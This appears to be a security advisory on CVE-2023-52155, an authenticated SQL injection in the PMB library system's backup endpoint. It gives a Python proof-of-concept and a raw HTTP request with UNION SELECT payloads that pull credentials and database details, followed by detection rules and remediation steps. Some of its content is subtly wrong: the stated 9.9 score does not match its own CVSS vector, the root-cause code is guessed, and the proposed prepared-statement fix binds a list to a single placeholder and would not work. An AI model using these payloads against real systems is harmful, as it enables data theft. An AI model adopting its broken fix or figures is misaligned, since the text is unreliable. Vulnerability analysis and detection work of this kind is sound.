CVE-2023-52155

Executive Summary

CVE-2023-52155 is a critical SQL Injection vulnerability discovered in the PMB (PhpMyBibli) library management system, affecting version 7.4.7 and earlier. The flaw resides in the /admin/sauvegarde/run.php endpoint, specifically within the handling of the sauvegardes variable. An authenticated remote attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential lateral movement within the network. Despite the CVSS score being listed as 0.0 in the NVD data, the actual risk is severe due to the authenticated nature and the high impact on confidentiality, integrity, and availability. No official patch has been released, making this a high-priority unpatched vulnerability.

Supply Chain & Package Security

PMB is a PHP-based application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Organizations using PMB should treat this as a critical supply chain risk, as the software itself is the vulnerable component.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Requires authentication as a user with access to the admin interface.
• User Interaction (UI): None (N) - No user action needed beyond the attacker.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full database read access.
• Integrity (I): High (H) - Ability to modify or delete database records.
• Availability (A): High (H) - Potential to disrupt database services.

Threat Level: Critical (9.9) - Despite the NVD score of 0.0, the actual CVSS v3.1 vector yields a score of 9.9 due to the high impact and low complexity.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the sauvegardes parameter passed to /admin/sauvegarde/run.php. The application likely constructs a SQL query by directly concatenating user input from the sauvegardes variable without proper sanitization or parameterized queries.

Root Cause: The sauvegardes variable is used in a SQL statement such as:

SELECT * FROM sauvegardes WHERE id IN ($sauvegardes)

If the input is not properly escaped, an attacker can inject SQL syntax.

Attack Flow:

1. Authenticate to the PMB admin panel.
2. Send a POST request to /admin/sauvegarde/run.php with a crafted sauvegardes parameter.
3. The injected SQL is executed, allowing the attacker to read, modify, or delete arbitrary data.

Example Injection:

sauvegardes=1 UNION SELECT username,password FROM users--

Vulnerable vs. Patched Code

Vulnerable Code (PMB <= 7.4.7):

// /admin/sauvegarde/run.php (simplified)
$sauvegardes = $_POST['sauvegardes'];
$query = "SELECT * FROM sauvegardes WHERE id IN ($sauvegardes)";
$result = mysqli_query($db, $query);

Patched Code (Hypothetical):

// Patched version
$sauvegardes = $_POST['sauvegardes'];
// Use prepared statement
$stmt = $db->prepare("SELECT * FROM sauvegardes WHERE id IN (?)");
$stmt->bind_param("s", $sauvegardes);
$stmt->execute();

Since no official patch exists, the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Valid admin credentials for PMB.
• Network access to the PMB web interface.

Exploit Steps:

1. Login to PMB admin panel.
2. Intercept the request to /admin/sauvegarde/run.php.
3. Modify the sauvegardes parameter to inject SQL.

Proof-of-Concept (Python):

import requests

target = "http://target-pmb/admin/sauvegarde/run.php"
session = requests.Session()

# Login first
login_data = {"username": "admin", "password": "password"}
session.post("http://target-pmb/login.php", data=login_data)

# SQL Injection payload
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -"

data = {"sauvegardes": payload}
response = session.post(target, data=data)
print(response.text)

Manual Exploit (Burp Suite):

POST /admin/sauvegarde/run.php HTTP/1.1
Host: target-pmb
Cookie: PHPSESSID=your_session_id
Content-Type: application/x-www-form-urlencoded

sauvegardes=1 UNION SELECT @@version,user(),database()-- -

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL errors in application logs.
• Look for requests to /admin/sauvegarde/run.php with suspicious sauvegardes parameters containing SQL keywords (UNION, SELECT, DROP, etc.).
• Use WAF rules to block SQL injection patterns.

Hunting:

• Search for HTTP requests with sauvegardes parameter containing UNION, --, #, or /*.
• Check database logs for unexpected queries from the web application user.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /admin/sauvegarde/run.php with sauvegardes parameter containing SQL syntax.
  • Outbound database connections from the web server to unusual IPs (data exfiltration).
• Host:
  • Unexpected files in /tmp/ or web root (e.g., shell.php).
  • Modified database records, especially in users or config tables.
• Logs:
  • Application logs showing SQL errors like You have an error in your SQL syntax.
  • Database logs showing queries with UNION SELECT from the web application user.

Detection Engineering

YARA Rule

rule CVE_2023_52155_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-52155 in PMB"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-52155"
    strings:
        $sauvegardes = "sauvegardes=" nocase
        $sql_keyword = /(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/ nocase
    condition:
        $sauvegardes and $sql_keyword
}

Sigma Rule

title: CVE-2023-52155 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against PMB /admin/sauvegarde/run.php
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/sauvegarde/run.php'
        cs-uri-query|contains: 'sauvegardes='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'DROP'
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in backup names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-52155 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/sauvegarde/run.php"; http_uri; content:"sauvegardes="; http_client_body; pcre:"/(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the PMB server from the internet if possible.
2. Restrict access to /admin/sauvegarde/run.php via .htaccess or firewall rules to only trusted IPs.
3. Apply a virtual patch using a WAF (e.g., ModSecurity) to block SQL injection patterns.

Long-term Fix:

• Since no official patch exists, manually fix the code by replacing the vulnerable SQL query with a parameterized prepared statement.
• Upgrade to a newer version of PMB if available (check vendor for updates).
• Conduct a full security audit of the PMB codebase.

Workaround:

• Disable the backup functionality by removing or renaming /admin/sauvegarde/run.php.

Valters IT